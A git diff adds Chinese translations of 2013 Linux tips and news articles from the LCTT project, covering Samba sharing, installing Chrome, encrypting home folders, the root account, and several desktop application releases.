校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + diff --git "a/published/201310/Daily Ubuntu Tips \342\200\223 Easiest Way To Access Your Files From Windows.md" "b/published/201310/Daily Ubuntu Tips \342\200\223 Easiest Way To Access Your Files From Windows.md" new file mode 100644 index 0000000000..86e710db04 --- /dev/null +++ "b/published/201310/Daily Ubuntu Tips \342\200\223 Easiest Way To Access Your Files From Windows.md" @@ -0,0 +1,57 @@ +每日Ubuntu小技巧 —— 让Windows访问你文件的最简单的方法 +============================================== + +不管你是一个新手还是精通Ubuntu和Windows的大牛,让Windows访问Ubuntu文件的最好的方式都是使用Samba。通过许多第三方工具可以很轻松的安装和管理。 + +对于想要了解怎么从Windows快速访问Ubuntu文件的新用户或者新手来说,这篇短文将会告诉你该怎么做。我们的目标是要帮助新用户。我们尽量将这篇教程写得通俗易懂,以便让新手看懂而不会遇到太大的困难。 + +在这里我们不会太注重了解Samba是什么或者怎么将它配置加入域这类细节。我们要做的就是告诉你怎么在Ubuntu中安装和设置Samba,让Windows可以访问Ubuntu的文件。 + +如果你想要更多的了解Samba,我建议你Google一下,或者查询下Wikipedia。首先在Ubuntu下打开你的终端,然后运行如下命令安装Samba和其他相关的工具。 + + sudo apt-get install samba cifs-utils + +上面这条命令将会安装Samba和其他相关的工具。在旧版的Ubuntu中,你可能需要使用**smbfs**替代cifs-utils。如果上面命令能够使用就更好了。 + +然后,使用gedit(或者其他工具)打开Samba主配置文件,然后进行如下更改。可以使用如下命令打开主配置文件: + + sudo gedit /etc/samba/smb.conf + +文件打开后,查找如下行并取消其注释(删掉行首的“;”)。它应该是这样的: + + security = user + +![](http://www.liberiangeek.net/wp-content/uploads/2013/10/sambausersubuntu.png) + +然后,向下滚动文件,找到下面这行,同时取消行首注释。 + + [homes] + +这将会允许用户访问访问home目录中的文件夹及文件。比如说,如果你 **取消** 注释了[homes],用户可以通过键入服务器名加用户名的方式访问home目录。 + + \\192.168.0.2\username + +然后,运行如下命令向Samba数据库添加你的账户信息。这样可以允许你使用Samba访问共享文件。 + + sudo smbpasswd -a usernmame + +用你自己的用户名替代上述的username。 + +当提示创建密码时,创建并确认即可。最后,重启Samba服务或者重启计算机。 + +通过Windows访问文件时,点击**开始 –> 运行**然后输入如下内容。或者打开资源管理器输入如下内容,如图。 + + \\ubuntu_machine_IP\username + +![](http://www.liberiangeek.net/wp-content/uploads/2013/10/sambausersubuntu1.png) + +Enjoy! + +-------------------------------------------------------------------------------- + +来自: http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-easiest-way-access-files-windows/ + +译者:[SCUSJS](https://github.com/scusjs) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + diff --git "a/published/201310/Daily Ubuntu Tips \342\200\223 How To Install Google Chrome Browser.md" "b/published/201310/Daily Ubuntu Tips \342\200\223 How To Install Google Chrome Browser.md" new file mode 100644 index 0000000000..cd52ac8ae6 --- /dev/null +++ "b/published/201310/Daily Ubuntu Tips \342\200\223 How To Install Google Chrome Browser.md" @@ -0,0 +1,42 @@ +每日Ubuntu小技巧——怎样安装谷歌Chrome浏览器 +======================================= + +对于刚刚开始使用Ubuntu并想安装谷歌Chrome浏览器的新用户来说,本文所介绍的方法是最快捷的。在Ubuntu上安装谷歌Chrome的方法有很多。一些用户喜欢直接在[谷歌Chrome下载页面][1]获得 **deb** 进行安装。 + +另一些用户喜欢通过来自Chromium的PPA进行安装。我更喜欢通过 **wget** 命令下载安装。通过命令行的方式是最快的,也是这篇文章想要告诉你的。 + +可能你已经知道,谷歌Chrome已经完成屌丝的逆袭,成为最流行的网络浏览器之一。实际上,这也是我最喜欢的浏览器。我最开始使用的是Internet Explorer,然后换成Firefox,最后又换成了谷歌Chrome。 + +我并不是想让你换浏览器,但是如果你想要在Ubuntu下使用Chrome,那么就去安装它吧。 + +要开始安装Chrome,你有一些选择。首先你可以使用浏览器去访问[谷歌Chrome下载页面][1]然后下载一个拷贝。如果你不喜欢使用命令行,你可以使用这个方法。 + +而对于喜欢使用终端命令行的用户来说,可以使用以下命令来下载。 + + cd /tmp + +对于谷歌Chrome**32位**版本,使用如下链接: + + wget https://dl.google.com/linux/direct/google-chrome-stable_current_i386.deb + +对于64位版本可以使用如下链接下载: + + wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb + +下载完后,运行如下命令安装。 + + sudo dpkg -i google-chrome*; sudo apt-get -f install + +然后就搞定了!安装完成后,到Unity Dash搜索Chrome就可以启动它了。 + +使用愉快! + +-------------------------------------------------------------------------------- + +来自: http://www.liberiangeek.net/2013/10/daily-ubuntu-tips-install-google-chrome-browser/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[SCUSJS](https://github.com/scusjs) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:https://www.google.com/intl/en/chrome/browser/#eula diff --git "a/published/201310/Daily Ubuntu Tips \342\200\223 Protect Your Home Folders.md" "b/published/201310/Daily Ubuntu Tips \342\200\223 Protect Your Home Folders.md" new file mode 100644 index 0000000000..760ed932cf --- /dev/null +++ "b/published/201310/Daily Ubuntu Tips \342\200\223 Protect Your Home Folders.md" @@ -0,0 +1,49 @@ +Ubuntu每日小技巧——保护你的Home文件夹 +================================= + +几天之前,我们向大家展示了如何在Ubuntu中改变您的home文件夹,以便只有授权用户才能够看到您文件夹中的内容。我们说过,“adduser”命令创建的用户目录,目录里面内容是所有人可读的。这意味着:默认情况下,您的机器上所有有帐号的用户,都能够浏览您home文件夹里面的内容。 + +要想阅读之前的文章,[请点击这里][2].在那篇文章中,我们还介绍了如何设置权限,可以让您的home文件夹不被任何人浏览。 + +在这篇博客里,还可以看到如何通过加密文件目录的方式来获得同样的效果。当home文件夹被加密后,未经授权的用户将既不能看到也不能访问该目录。 + +加密home文件夹并不是在每个环境中对每个人都适用,所以在实际使用该功能之前,请确信自己真的需要它。 + +要使用加密home目录的功能,请登录到Ubuntu并运行以下命令。 + + sudo apt-get install ecryptfs-utils + +你是无法在登录后加密当前home文件夹的,必须创建一个临时账户并登录进去。之后再运行下面这些命令,来加密你的home文件夹。 + +使用你当前的账户名代替下面的USERNAME。 + + sudo ecryptfs-migrate-home -u USERNAME + +当以临时用户的身份登录后,为使你的帐号拥有root或admin权限,就需要以自己的身份运行 **su**+用户名的命令。系统会提示你输入密码。 + + su USERNAME + +使用具有使用root或admin权限的帐号(译注:即拥有su权限的账号)代替USERNAME。 + +在这之后,运行 **ecryptfs-migrate-home –u USERNAME** 命令加密home文件夹。 + +使用被加密的账号第一次登录后,你将会看到如下截图的界面,包含更多关于加密home文件夹的信息。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/encrypthomedirectory.png) + +要创建带有加密home目录的用户,运行下面的命令: + + adduser –encrypt-home USERNAME + +试试看吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-protect-home-folders/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[rogetfan](https://github.com/rogetfan) 校对:[jasminepeng](https://github.com/jasminepeng) + +[1]:http://www.liberiangeek.net/2013/09/daily-ubuntu-tipsprevent-users-browsing-folders/ +[2]:http://www.liberiangeek.net/2013/09/daily-ubuntu-tipsprevent-users-browsing-folders/ diff --git "a/published/201310/Daily Ubuntu Tips \342\200\223 Understanding The App Menus And Buttons.md" "b/published/201310/Daily Ubuntu Tips \342\200\223 Understanding The App Menus And Buttons.md" new file mode 100644 index 0000000000..dcbfb3222d --- /dev/null +++ "b/published/201310/Daily Ubuntu Tips \342\200\223 Understanding The App Menus And Buttons.md" @@ -0,0 +1,38 @@ +Ubuntu每日小技巧 – 深入理解应用菜单和按钮 +================================================================================ + +Ubuntu是一款很不错的操作系统。它基本上可以做到任何现代操作系统能做的事情,甚至有时候能做的更好。如果你是一个ubuntu新手,那么你现在还有很多不知道的事情。对于那些专家级用户来说十分普通的事情可能对你来说可能就不太普通了,因此这个“ubuntu每日小技巧”系列旨在帮助你和新用户轻松设置管理ubuntu。 + +Ubuntu有一个菜单栏。这个主菜单栏是在屏幕的顶端黑色条状栏,其包含了状态菜单或指示器和时间日期,音量键,应用的菜单和窗口管理按钮。 + +窗口管理按钮在主菜单(黑色条状栏)的左上角。当年你打开一个程序的时候,主菜单左上角的按钮包括关闭、最小化、最大化、和恢复大小按钮,这些按钮叫做窗口管理按钮。 + +应用的菜单位于窗口管理按钮的右侧。当应用打开时才显示应用菜单。 + +默认情况下,ubuntu隐藏了窗口应用菜单和管理按钮,只有当你把鼠标放在左侧角里的时候才能看到。如果你打开一个程序但是找不到菜单,只需要把你的鼠标移动到屏幕左上角就可以使它显示出来。 + +如果这让你很困惑,而且你想关闭(全局的)应用菜单而使每个程序都有自己的菜单的话,继续向下看。 + +运行以下命令以安装或删除应用菜单: + + sudo apt-get autoremove indicator-appmenu + +运行上面的命令将会删除应用菜单即全局菜单。现在,为了使改变生效,先退出然后再登录回来。 + +现在,当你打开一个ubuntu里面的程序的时候,每个程序就会用显示自己的菜单代替把它隐藏在全局菜单或主菜单里。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntuappmenuglobalmenu.png) + +就是这样! 想返回原来的状态的话,运行下面的命令: + + sudo apt-get install indicator-appmenu + +使用愉快! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-understanding-app-menus-buttons/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[crowner](https://github.com/crowner) 校对:[wxy](https://github.com/wxy) \ No newline at end of file diff --git "a/published/201310/Daily Ubuntu Tips\342\200\223Knowing About The Root Account.md" "b/published/201310/Daily Ubuntu Tips\342\200\223Knowing About The Root Account.md" new file mode 100644 index 0000000000..9dc82146fe --- /dev/null +++ "b/published/201310/Daily Ubuntu Tips\342\200\223Knowing About The Root Account.md" @@ -0,0 +1,47 @@ +每日Ubuntu小技巧——了解Root帐号 +================================================================================ +对于想了解Root帐号的Ubuntu新手,这里有一个简短的文章会让你对root账号和如何使用及为什么使用root账号有些清楚的认识。如你所见,每个版本的Ubuntu都会带一个root账号。 + +root账号也被称作管理员账号。你可以将root账号看作是有着同上帝一样的权力的账号。它可以删除任何文件,任何目录并对系统做出任何修改。root账号的权限是无限制的。 + +由于root账号过于强大,系统会自动地产生一个密码串,该密码串在系统上不可能通过加密来匹配到,如此一来用户就不能使用root帐号登入系统了。相对直接用root帐号登录,Ubuntu更支持用户使用sudo命令。 + +sudo命令可以使已获得授权的用户在不知道root帐号的密码也不使用root帐号的情况下,通过使用自己的密码暂时提升自己的权限。 + +如果你因为一些其它原因仍然想要使用root帐号并用它登录系统,很简单,给它设置一个密码就可以了。这样就可以使能root帐号了。 + + sudo passwd + +上面的命令可以激活root帐号,但是想要用root帐号登录系统,你还必须打开被Ubuntu禁用的手动登录功能。手动登录功能允许用户输入帐号和相应的登录密码而不仅仅是从登录界面选择一个帐号登录。 + +要在**Ubuntu 13.10**中打开手动登录选项,你可以运行下面的命令 + + sudo gedit /etc/lightdm/lightdm.conf.d/50-unity-greeter.conf + +然后如图所示添加下面这一行文字 + + greeter-show-manual-login=true + +![]( ) + +保存并重启电脑。 + +对于较早版本的Ubuntu,你可以在另外一个位置,即**/etc/lightdm**目录下找到这个配置文件。文件名可能叫**lightdm.conf**。 + +修改完后,在登录界面,你就可以输入root帐号和相应的密码然后登录系统了。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntu-root-logon-1.png) + +如果你想锁定/禁用root帐号,使用下面的命令 + + sudo passwd -l root + +使用愉快! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tipsknowing-root-account/ + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy) diff --git "a/published/201310/Daily Ubuntu Tips\342\200\223Things To Do After Installing Ubuntu.md" "b/published/201310/Daily Ubuntu Tips\342\200\223Things To Do After Installing Ubuntu.md" new file mode 100644 index 0000000000..75b44e4065 --- /dev/null +++ "b/published/201310/Daily Ubuntu Tips\342\200\223Things To Do After Installing Ubuntu.md" @@ -0,0 +1,38 @@ +每日Ubuntu小技巧——安装Ubuntu后做什么 +================================== + +许多Windows用户开始使用Ubuntu时都感到束手无策。Ubuntu与Windows截然不同,想要轻松驾驭Ubuntu可不是一件简单的事情。Ubuntu的使用方式不同于Windows。许多用户对命令行、文件系统的布局和应用程序的名称都感到陌生。但是不用担心,我们会提供帮助的。 + +如果你以前是Windows或者Mac OS X用户现在想学Ubuntu,那你来对地方了。我们正努力帮助新用户开始Ubuntu之旅。我们的口号理所当然就是“**菜鸟教程**”。 + +我们的教程大多不是针对专业人士的,而是面向刚开始学习Windows和Ubuntu的新手。所以,在Ubuntu上遇到了任何困扰,都可以回来转转。 + +好了,言归正传。几天前一个读者问了我们一个问题,如下: + +> 安装好Ubuntu后首先要做什么? + +很简单,第一次安装Ubuntu时,你可能有很多事情想做。但是最重要的是让它正常工作。不要担心遇到难题,这些你很快就会明白。 + +这里有一些安装好Ubuntu之后你最初想要做的事。可能你想做的比这还多,但这些是比较重要的。 + +- 更新系统 -首先更新你的系统。系统更新可以让你安装比较新的软件包和一些其它程序的修正。使用Ubuntu时你可以使用下面的命令正确地进行系统更新。 + + sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get autoremove + +- 安装好Ubuntu后要做的另外一件事就是运行下面的命令。这条命令能帮助你安装编解码器和因法律原因而排除在Ubuntu外的软件包。Ubuntu并未预装这些比较重要的程序。而没有这些程序你可能无法听音乐、看电影或者做其它的事情。所以,如果你安装了Ubuntu但是不能播放DVD或者听音乐CD,那就运行下面的命令吧。 + + sudo apt-get install ubuntu-restricted-extras + + +以上这些命令并非你将在Ubuntu运行的全部的命令,但它们是安装好Ubuntu后你首先要运行的。希望这些能帮助到你。 + +使用愉快! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/10/daily-ubuntu-tipsthings-to-do-after-installing-ubuntu/ + + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201310/Debian 7.2 Wheez Officially Released.md b/published/201310/Debian 7.2 Wheez Officially Released.md new file mode 100644 index 0000000000..28b26376b1 --- /dev/null +++ b/published/201310/Debian 7.2 Wheez Officially Released.md @@ -0,0 +1,32 @@ +Debian 7.2 "Wheezy"正式发布 +========================== + +**Debian项目宣布即将推出可供下载的第二个维护版本的Debian 7 Linux操作系统。** + +![](http://i1-news.softpedia-static.com/images/news2/Debian-7-2-quot-Wheezy-quot-Officially-Released-390694-3.png) + +Debian 7.2仅仅是一个维护更新版本,但是它确实进行了一系列的升级并且为当前稳定版本进行了一些修正,也为其更新了许多包。 + +“请注意这次更新并不是构建了一个新的Debian 7,而仅仅是更新了其中的一些包。因此没有必要将以前废旧的Wheezy CD或DVD丢掉,只需要在安装系统完成后,通过最新的Debian镜像更新一些过期的包即可。”官方公告这么说。 + +这意味着已经安装有Debian 7.0或7.1的用户不用再重新安装系统。他们只需完成定期的升级即可,这样只需要从security.debian.org下载很少部分包。 + +在官方[声明][1]中可以查看完整的更新日志。 + +**Debian GNU/Linux 7.1.0: 免费下载地址** + +- [Debian GNU/Linux 7.1.0 (ISO) 32-bit[iso]][2] [3.70 GB] +- [Debian GNU/Linux 7.1.0 (ISO) 64-bit[iso]][3] [3.80 GB] + +-------------------------------------------------------------------------------- + +来自: http://news.softpedia.com/news/Debian-7-2-quot-Wheezy-quot-Officially-Released-390694.shtml + +译者:[SCUSJS](https://github.com/scusjs) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:http://www.debian.org/News/2013/20131012 +[2]:http://cdimage.debian.org/debian-cd/7.1.0/i386/iso-dvd/debian-7.1.0-i386-DVD-1.iso +[3]:http://cdimage.debian.org/debian-cd/7.1.0/amd64/iso-dvd/debian-7.1.0-amd64-DVD-1.iso diff --git a/published/201310/E-Mail App Geary Gets New Look, New Features.md b/published/201310/E-Mail App Geary Gets New Look, New Features.md new file mode 100644 index 0000000000..e816c9b6d5 --- /dev/null +++ b/published/201310/E-Mail App Geary Gets New Look, New Features.md @@ -0,0 +1,58 @@ +E-Mail应用Geary的新外观和新功能 +============================== + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-04-at-14.30.29.png) +*新面貌: Geary 0.4 现在可以下载* + +随着[一款照片实用工具Shotwell的更新][1]一起到来的是新版本的Geary - 流行的开源桌面e-mail应用。 + +这是客户端背后的团队Yorba自从在4月[众筹$100,000的目标失败][2]之后的第一次发布。 + +这个轻量级app,很久以来一直是我酷爱的东西,今天的更新版本增加了一些一直被要求增加的新功能。 + +Geary现在有 **每个账户搜索** **自动保存草稿** 和一个用来检查包含恶意内容的外部连接的 **内置安全工具** 。 + +应用的界面也更新了,可以让你总是把注意力集中在信件和chrome上。 + +显示了 **每个文件夹的未读数目** 的侧边栏里面的账户及文件夹使用了一个套新的 **单色图标** ;工具栏也换了一套新的'菜单按钮'. + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-04-at-14.25.09.png) + +*Geary的新菜单按钮和侧边栏图标* + +e-mail列表默认隐藏取消星号和读取状态图标,鼠标悬停时显示选择。当选中后,它们才保持可见。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/10/Screen-Shot-2013-10-04-at-14.24.23.png) + +*从上到下:未读且加星、已读且没有加星、未读* + +**在Ubuntu安装Geary0.4** + +如果你正在使用 **Ubuntu 12.10或者13.04** 你可以[从Yorba PPa获得][3]. + +打开一个新的 *终端窗口* 键入下面命令: + + sudo add-apt-repository ppa:yorba/ppa + + sudo apt-get update && sudo apt-get install geary + +Ubuntu 13.10 用户可以在[Ubuntu软件中心][4]找到. + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/10/geary-0-4-released-with-new-look-new-features + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf][] 校对:[carolinewuyan][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf]:https://github.com/flsf +[carolinewuyan]:http://github.com/carolinewuyan + +[1]:http://www.omgubuntu.co.uk/2013/10/shotwell-0-15-released-fixes-improvements +[2]:http://www.omgubuntu.co.uk/2013/04/geary-fundraiser-fails-at-half-way-mark +[3]:https://launchpad.net/~yorba/+archive/ppa +[4]:apt://geary + diff --git "a/published/201310/Embedded Terminal \342\200\223 A Gedit Plugin To Access The Command Line Terminal From Within The Editor Window.md" "b/published/201310/Embedded Terminal \342\200\223 A Gedit Plugin To Access The Command Line Terminal From Within The Editor Window.md" new file mode 100644 index 0000000000..ebc8654fe9 --- /dev/null +++ "b/published/201310/Embedded Terminal \342\200\223 A Gedit Plugin To Access The Command Line Terminal From Within The Editor Window.md" @@ -0,0 +1,92 @@ +Gedit插件:Embedded Terminal,让你在编辑器内使用命令行终端 +=============================================================== + +有时候在Linux上使用基于GUI的程序,你必须在程序窗口和命令行窗口之间切换。这会消耗一些时间。将一个终端窗口嵌入到程序窗口内部是个很好的解决方案。我不知道在其他程序是否可以,但是,如果你为gedit寻找一个这样的解决方案,那么这儿有一个插件-- **Embedded Terminal** -- 能让你从gedit窗口内部访问命令行终端。 + +**NOTE** -- 这篇文章中使用UbUntu 13.04作为例子。 + +###简短教程 + +安装了这个插件后,可以让用户很容易地在编辑文件的同时访问命令行。 + +这是插件启用后的gedit窗口截图: + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gedit-embedded-terminal-colored.png) + +如上,你可以看到在gedit窗口内部命令行操作与编辑文本文件集成到了一起。 + +###下载/安装 + +通过以下步骤来正确地在gedit下载安装和配置embedded terminal插件。 + +**步骤1** + +通过命令安装gedit插件: + + sudo apt-get install gedit-plugins + +**步骤2** + +现在,在gedit窗口里,转到Edit(编辑)-->Preferences(首选项)-->Plugins(插件)并且启动Embedded Terminal插件。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gedit-embedded-terminal-enable.png) + +**步骤3** + +在gedit窗口中点击View(视图)-->Bottom Panel(底部面板) + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gedit-view-bottom-panel.png) + +你将在gedit窗口的底部面板看到一个嵌入式终端呈现出来。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gedit-default-embedded-terminal.png) + +唯一的问题是色调搭配不是很好,比如,白色的命令提示符在淡灰色背景下几乎看不清。接下来的步骤去修改色调搭配。 + +**步骤4** + +打开dconf-editor,如果没有安装,通过命令来安装它: + + sudo apt-get install dconf-tools + +安装后,用下面命令来执行: + + dconf-editor + +在dconf editor窗口中,转到org-->gnome-->gedit-->plugins-->terminal并且取消选定use-theme-colors选项。 + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gedit-dconf-settings.png) + +**步骤5** + +重启gedit + +![](http://mylinuxbook.com/wp-content/uploads/2013/09/gedit-embedded-terminal-colored.png) + +可以看到,在浅色背景下的黑色的命令提示符。 + +**优点** + +- 从gedit窗口内部轻松访问终端 +- 作为一个插件,它能节约任何时间 + +**缺点** + +- 在初始化配置里色调搭配问题是个主要问题(译注,估计插件作者使用的深色配色方案的Gedit,因此没有意识到这个问题,期待以后的更新版本会解决这个问题) + +**总结** + +无论如何,在Linux中工作总是难以避开命令行。所以,在你常用的程序窗口中嵌入一个终端是一个好多的方法。这个gedit插件是个不错的小工具,它可以帮你节省一些时间。尝试它,它值得你安装。 + +--- + +via: http://mylinuxbook.com/embedded-terminal-a-gedit-plugin/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Vito][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Vito]:http://linux.cn/space/Vito +[wxy]:http://linux.cn/space/wxy diff --git a/published/201310/Excellent Music Player Clementine 1.2 Released on Multiple Platforms.md b/published/201310/Excellent Music Player Clementine 1.2 Released on Multiple Platforms.md new file mode 100644 index 0000000000..6755da2851 --- /dev/null +++ b/published/201310/Excellent Music Player Clementine 1.2 Released on Multiple Platforms.md @@ -0,0 +1,44 @@ +优秀的Clementine音乐播放器多平台发布 1.2版 +============================== + + +![](http://i1-news.softpedia-static.com/images/news2/Excellent-Music-Player-Clementine-1-2-Released-on-Multiple-Platforms-391342-2.png) + +**Clementine 1.2 是一款多平台音乐播放器,它的创作灵感来源于Amarok 1.4,其主要特点是它能快速搜索和播放音乐,而且其界面易用,这次新发布它带来了一些非常有趣的新特性。** + +Clmentine 是一个卓越的媒体播放器,并被一些新的放行版所采用,它极其稳定,它是为那些不喜欢用那种新式播放器来取代传统音乐播放器的用户准备的。 + +“这个版本也兼容安卓的Climentine远程控制程序,它能让你用你的安卓设备远程控制Clementine。” + +[公告][2]中这样描述“Clemntine 也添加了对Subsonic的支持。现在你能听存储在Box、Dropbox、Skydrive和Ubuntu One中的音乐了。最后一个要说的主要新特征是能够‘标记’你的播放列表,因此你能够从左侧工具条上新添加的播放列表条目中安全地关闭以及恢复它们” + +可以在官方[公告][2]了解关于新版本的变化和新特性的完整列表。 + +**下载Clementine 1.2** + +- [tar.gz][3][sources] [9.30 MB] +- [Ubuntu 13.04 DEB i386][4][ubuntu_deb] [7.10 MB] +- [Ubuntu 13.04 DEB amd64][5][ubuntu_deb] [7.30 MB] +- [Fedora 19 RPM i686][6][fedora_rpm] [5.30 MB] +- [Fedora 19 RPM x86_64][7][fedora_rpm] [5.30 MB] +- [Ubuntu 11.04/Ubuntu 10.10/Ubuntu 10.04 DEB ALL][8][ubuntu_deb] [0 KB] +- [Fedora 16 RPM noarch][9][fedora_rpm] [0 KB] + + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Excellent-Music-Player-Clementine-1-2-Released-on-Multiple-Platforms-391342.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:http://code.google.com/p/clementine-player/source/browse/Changelog?name=release-1.2 +[2]:http://www.clementine-player.org/ +[3]:https://clementine-player.googlecode.com/files/clementine-1.2.0.tar.gz +[4]:https://clementine-player.googlecode.com/files/clementine_1.2.0%7Eraring_i386.deb +[5]:https://clementine-player.googlecode.com/files/clementine_1.2.0%7Eraring_amd64.deb +[6]:https://clementine-player.googlecode.com/files/clementine-1.2.0-1.fc19.i686.rpm +[7]:https://clementine-player.googlecode.com/files/clementine-1.2.0-1.fc19.x86_64.rpm +[8]:http://code.google.com/p/clementine-player/downloads/list +[9]:http://code.google.com/p/clementine-player/downloads/list diff --git a/published/201310/First Look at GNOME 3.10 on Arch Linux.md b/published/201310/First Look at GNOME 3.10 on Arch Linux.md new file mode 100644 index 0000000000..1cac489a2d --- /dev/null +++ b/published/201310/First Look at GNOME 3.10 on Arch Linux.md @@ -0,0 +1,50 @@ +爱的初体验!第二弹!多图! —— GNOME 3.10(体验环境:Arch Linux) +====================================================== + +**经过2周左右的测试,Arch Linux开发者们今天早些时候(10月7日)在稳定频道发布了GNOME3.10桌面环境,用户们终于可以升级他们已经使用了6个月之久的GNOME 3.8了。** + +作为其中一名用户,我非常高兴在我的Arch Linux机子上进行了一次纯粹的GNOME 3.10体验。同时,我可以非常骄傲的说,GNOME 3.10桌面环境运行得非常好,而且界面美观,就像期待中的一样棒! + +首先我想提醒大家,早在上个月9月25号,GNOME项目组就已经宣告发布了3.10版的,这些天来,我一直对发布公告中介绍的新特性充满兴奋与期待。 + +如果你也正在使用Arch Linux与GNOME作为你的主要桌面环境,那么现在你只需要在终端中输入命令“sudo pacman -Syu”,就可以将GNOME更新至3.10版本。别忘了重启电脑后,更新才能生效哦~ + +这也是我使用Arch Linux操作系统以来经历的最大一次更新,下载了总共300MB左右的更新包,安装后体积超过了1.1GB。 + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnome310arch-large_001.jpg) + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnome310arch-large_002.jpg) + +上面的截图,就是之前报道中我们所期待的的新特性与新功能,我可以拍胸脯告诉你,它们运行起来感觉棒极了! + +当我重启完电脑,我立刻就注意到了登录管理器的一个新效果,还有风格相统一的状态栏,看起来令人惊喜而且很好上手。在登录按钮旁边有一个像轮子一样的按钮,如果你有多个桌面环境,点击它可以在各个桌面环境之间进行切换。 + +我必须承认,桌面加载以后,我是稍有一点失望的,因为我已经习惯了酷拽炫的GNOME桌面环境,但我之前安装的GNOME扩展却不见了。一开始,我认为是更新进程使其失效了,但经过一阵研究后,我才意识到,是因为之前的扩展插件无法与GNOME 3.10相匹配。 + +因此,我打开火狐浏览器,来到GNOME扩展页面,更新升级了其中最重要的一部分,然后用第三方主题对我的GNOME进行了美化。没办法~我就是要我的GNOME够酷够拽够炫! + +如果是单纯的升级到GNOME 3.10,默认并不会安装[一起新发布的应用程序][1]。我必须从Arch Linux的软件仓库中手动安装它们。不幸的是,我并没有看到那些[传说中的GNOME应用软件][2],或许过几天他们才会添加进来。 + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnome310arch-large_003.jpg) + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnome310arch-large_004.jpg) + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnome310arch-large_005.jpg) + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/gnome310arch-large_006.jpg) + +另一个有趣的东西是,我注意到当我在桌面点击右键的时候,出现了一个“打开终端”的新功能,如果你像我一样在工作中经常用到终端,你一定也会觉得这是一个非常方便的改进。 + +还等什么,赶快拿起电话订购吧......额不,赶快下载GNOME 3.10体验吧~ + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/First-Look-at-GNOME-3-10-on-Arch-Linux-389114.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[tinyeyeser](https://github.com/tinyeyeser) 校对:[wxy](https://github.com/wxy) + + +[1]:http://news.softpedia.com/news/GNOME-3-10-Brings-Maps-Music-and-GNOME-Software-Apps-386048.shtml +[2]:http://news.softpedia.com/news/GNOME-3-10-Introduces-Its-Own-Software-Center-386202.shtml diff --git a/published/201310/First impressions of Semplice Linux 5.md b/published/201310/First impressions of Semplice Linux 5.md new file mode 100644 index 0000000000..d4d79530c7 --- /dev/null +++ b/published/201310/First impressions of Semplice Linux 5.md @@ -0,0 +1,51 @@ +爱的初体验 —— Semplice Linux 5 +========================= + +[Semplice][1] 是一个基于Debian GNU/Linux项目的Linux发行版,基于Debian不稳定分支构建。开发者使用不稳定仓库中的软件包,并通过一个自定义图形界面安装程序将这些软件包加以整合。[项目官网][2]介绍说该Semplice不但支持加密LVM卷,而且整合了Openbox窗口管理器,并始终专注于更加快速、轻便的资源,“简约不简单”。该发行版目前支持32位、64位ISO镜像下载,体积大概620MB左右。 + 